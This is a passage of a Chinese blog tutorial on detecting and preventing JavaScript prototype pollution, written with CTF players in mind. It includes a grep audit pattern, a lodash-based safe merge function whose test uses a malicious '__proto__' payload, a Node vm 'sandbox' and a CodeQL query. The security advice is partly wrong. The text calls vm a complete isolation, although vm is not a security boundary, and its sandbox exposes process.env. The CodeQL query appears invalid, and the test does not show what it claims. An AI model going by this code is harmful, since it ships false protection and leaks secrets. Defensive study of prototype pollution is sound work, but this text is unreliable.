| 绕过能力 | 可绕过大多数白名单过滤器(因__proto__在标准中属于合法键名) |
📌 重要认知升级:原型污染不是“注入”,而是“继承劫持”——攻击者利用的是语言本身的设计逻辑来实现破坏,因此修复难度远高于普通注入类漏洞。
4.2 从CTF视角看防御与检测策略
在CTF竞赛中,原型污染往往作为隐藏入口点出现,常配合其他漏洞(如命令执行、文件读取)完成提权或信息泄露。因此,构建一套完整的“攻防闭环”体系至关重要。
以下是从实战出发的四层防御框架,适用于开发与比赛双场景:
✅ 1. 代码审计:主动识别高危函数调用
🔍 常见危险函数清单(必须重点审查)
| 函数 | 风险等级 | 是否易受污染 |
|---|---|---|
lodash.merge(target, source) |
⚠️ 高 | ✅ 极易(尤其旧版本) |
Object.assign(target, source) |
⚠️ 中高 | ✅ 可能(若source含__proto__) |
_.mergeWith(...) |
⚠️ 高 | ✅ 同上 |
JSON.parse() + 合并操作 |
⚠️ 中 | ❗注意:JSON.parse会忽略__proto__,但可被其他方式绕过 |
eval() 或动态执行代码 |
🔥 极高 | ✅ 严重风险 |
🧩 审计技巧:使用正则匹配潜在漏洞点
# 在项目根目录执行以下命令,扫描所有使用 merge/assign 的地方
grep -rE "(merge|assign)\s*\(\s*[^)]+,\s*[^)]+\)" . --include="*.js" --exclude-dir={node_modules,.git}复制
💡 提示:结合
npx grep -r "__proto__"查找是否显式处理该字段。
✅ 2. 依赖管理:强制升级关键库版本
📦 最佳实践:升级至安全版本
-
lodash≥ 4.17.11:官方已修复原型污染问题。- 修复原理:在
merge函数中加入对__proto__、constructor、prototype的特殊判断。 - GitHub PR #4658
- 修复原理:在
🔗 官方发布页面:https://github.com/lodash/lodash/releases/tag/4.17.11
🛠 升级命令(NPM)
npm install lodash@latest
# 强制更新 package-lock.json
npm install lodash --save --force复制
⚠️ 请勿使用
npm update,可能不会升级到最新版。推荐使用npm install lodash@latest显式指定。
✅ 3. 运行时保护:引入安全封装与沙箱机制
🛡️ 方案一:自定义安全合并函数(推荐用于CTF场景)
// safe-merge.js
const _ = require('lodash');
/**
* 安全合并函数:过滤非法原型字段
* @param {Object} target - 目标对象
* @param {Object} source - 源对象
* @returns {Object} 合并后的新对象
*/
function safeMerge(target, source) {
// 定义应被禁止的非法键名
const forbiddenKeys = ['__proto__', 'constructor', 'prototype'];
// 提取源对象中非非法键的属性
const filteredSource = _.pickBy(source, (value, key) => !forbiddenKeys.includes(key));
// 安全合并
return _.merge(target, filteredSource);
}
module.exports = safeMerge;复制
🧪 测试用例(验证有效性)
// test-safe-merge.js
const safeMerge = require('./safe-merge');
const target = {};
const maliciousSource = {
'__proto__': { isAdmin: true },
'constructor': { toString: () => 'evil' },
'prototype': { name: 'hack' }
};
console.log("Before:", {}.isAdmin); // undefined
safeMerge(target, maliciousSource);
console.log("After:", {}.isAdmin); // undefined ✅ 未被污染复制
✅ 结果:
isAdmin未被注入,证明防护生效。
🛡️ 方案二:使用 VM 沙箱隔离不可信数据
对于接收用户输入并动态解析的场景,强烈建议使用 Node.js 内置的 vm 模块进行隔离。
// sandbox.js
const vm = require('vm');
function evaluateUnsafeInput(inputStr) {
const context = {
console: console,
process: { env: process.env }, // 可选择性暴露部分环境
// 不允许访问全局对象
};
const script = new vm.Script(inputStr);
try {
const result = script.runInNewContext(context);
return result;
} catch (err) {
console.error("Sandbox execution failed:", err.message);
return null;
}
}
// 示例:安全地执行用户输入的表达式
const userInput = `Math.pow(2, 3) + 1`;
evaluateUnsafeInput(userInput); // ✅ 安全执行复制
📌 优势:完全隔离外部环境,防止原型污染扩散至主进程。
📌 注意事项:
- 不要将
global或process完全暴露给沙箱;- 使用
runInNewContext而非runInThisContext;- 可结合
sandboxed-module库增强安全性。
✅ 4. 检测工具集成:自动化静态分析
在CI/CD流程中集成以下工具,实现漏洞早期发现:
| 工具 | 功能 | 下载地址 | 推荐使用方式 |
|---|---|---|---|
npm audit |
检查依赖包是否存在已知漏洞 | 内建于 npm | npm audit |
snyk |
静态扫描 + 自动修复建议 | https://snyk.io | snyk test |
CodeQL |
基于控制流图的高级漏洞分析 | https://github.com/github/codeql | codeql database create + codeql query run |
🧪 CODEQL 示例:检测原型污染模式
// prototype-pollution.ql
import javascript
from MethodCall mc, Call c
where
c.getMethod().getName() = "merge" and
c.getArgumentCount() >= 2 and
c.getArgument(1).hasType("Object") and
c.getArgument(1).getExpression().hasChildNamed("__proto__")
select c, "Potential prototype pollution via __proto__ in merge()"复制
📌 使用方法:
- 安装 CodeQL CLI:https://github.com/github/codeql
- 创建数据库:
codeql database create --language=javascript js-db- 执行查询:
codeql query run prototype-pollution.ql -d js-db
✅ 输出结果将标记所有可疑的
merge调用点,支持导出 JSON/SARIF 格式用于CI系统。
4.3 对未来研究方向的展望
随着前端架构复杂化和语言演进,原型污染的研究已进入“智能化”阶段。以下是值得深入探索的方向:
🔬 研究方向一:Proxy 与 Reflect 对原型污染的影响
现代 JavaScript 引入了 Proxy 和 Reflect API,它们改变了对象访问的行为。我们需研究:
new Proxy({}, { get(target, prop) { ... } })是否会影响原型链查找?Reflect.set(proxy, '__proto__', value)是否能污染原型?
🧪 实验代码验证
const handler = {
get(target, prop) {
console.log(`Accessing ${prop}`);
return target[prop];
}
};
const proxy = new Proxy({}, handler);
// 尝试设置 __proto__
Reflect.set(proxy, '__proto__', { evil: true });
console.log({}.evil); // ❌ 未输出,说明无法通过 Reflect.set 污染复制
🔍 结论:
Reflect.set(proxy, '__proto__', ...)不会触发原型污染,因为代理对象自身不参与原型链查找。
📌 潜在突破点:能否通过
proxy.target.__proto__来间接污染?需进一步测试。
🔬 研究方向二:WebAssembly 与 V8 引擎的原型链差异
-
问题:WASM 是否共享相同的原型链结构?
-
实验思路:
- 在 WASM 模块中尝试访问
__proto__; - 检查
Object.prototype是否跨模块共享; - 分析 V8 引擎对原型链的优化策略(如内联缓存)。
- 在 WASM 模块中尝试访问
📌 潜在价值:某些 WASM 环境下可能存在“原型链隔离”机制,可用于构建更安全的运行时。
🔬 研究方向三:基于控制流图(CFG)的自动化原型污染探测器
当前主流工具依赖关键词匹配(如 merge、__proto__),但存在误报率高、漏报多的问题。
🎯 目标:构建一个能够理解语义的原型污染探测器
技术路径:
- 使用 AST(抽象语法树)解析源码;
- 构建控制流图(CFG);
- 在
merge函数调用节点中,追踪source参数的数据流向; - 判断是否包含
__proto__字段,并且该字段值是否来自用户输入; - 若满足条件,则标记为高风险点。
🛠 工具栈推荐
| 工具 | 用途 |
|---|---|
esprima |
解析 JS 代码生成 AST |
ast-types |
操纵和遍历 AST |
graphviz |
可视化控制流图 |
flow-analysis 库 |
实现数据流分析 |
📊 示例:简单的数据流分析伪代码
function analyzeMergeFlow(ast) {
const mergeCalls = findNodes(ast, node => node.type === 'CallExpression' && node.callee.name === 'merge');
mergeCalls.forEach(call => {
const sourceArg = call.arguments[1];
if (isUserInput(sourceArg)) {
const hasProtoKey = containsKey(sourceArg, '__proto__');
if (hasProtoKey) {
reportRisk(call, "Potential prototype pollution from user input");
}
}
});
}复制
✅ 优势:可精准定位污染源头,减少误报。
🎯 总结:从“被动修复”到“主动预防”
| 阶段 | 特征 | 代表做法 |
|---|---|---|
| 被动修复 | 漏洞爆发后才补丁 | lodash 升级 |
| 主动检测 | 代码提交前扫描 | npm audit |
| 智能预警 | 基于语义分析 | CodeQL / CFG 分析 |
| 自动防御 | 运行时自动拦截 | 沙箱 + 安全包装函数 |
🚀 未来愿景:建立一个原型污染智能防护系统,集成了:
- 自动化漏洞发现;
- 动态污染传播路径追踪;
- 实时告警与阻断;
- 与 CI/CD 流水线无缝集成。
✅ 最终提醒:
原型污染虽源于语言特性,但并非不可防御。通过严格的依赖管理 + 安全编码习惯 + 智能分析工具,完全可以将其控制在可控范围内。
在 CTF 中,它既是“隐藏宝藏”,也是“致命陷阱”——掌握它,你就能成为真正的攻防专家。

浙公网安备 33010602011771号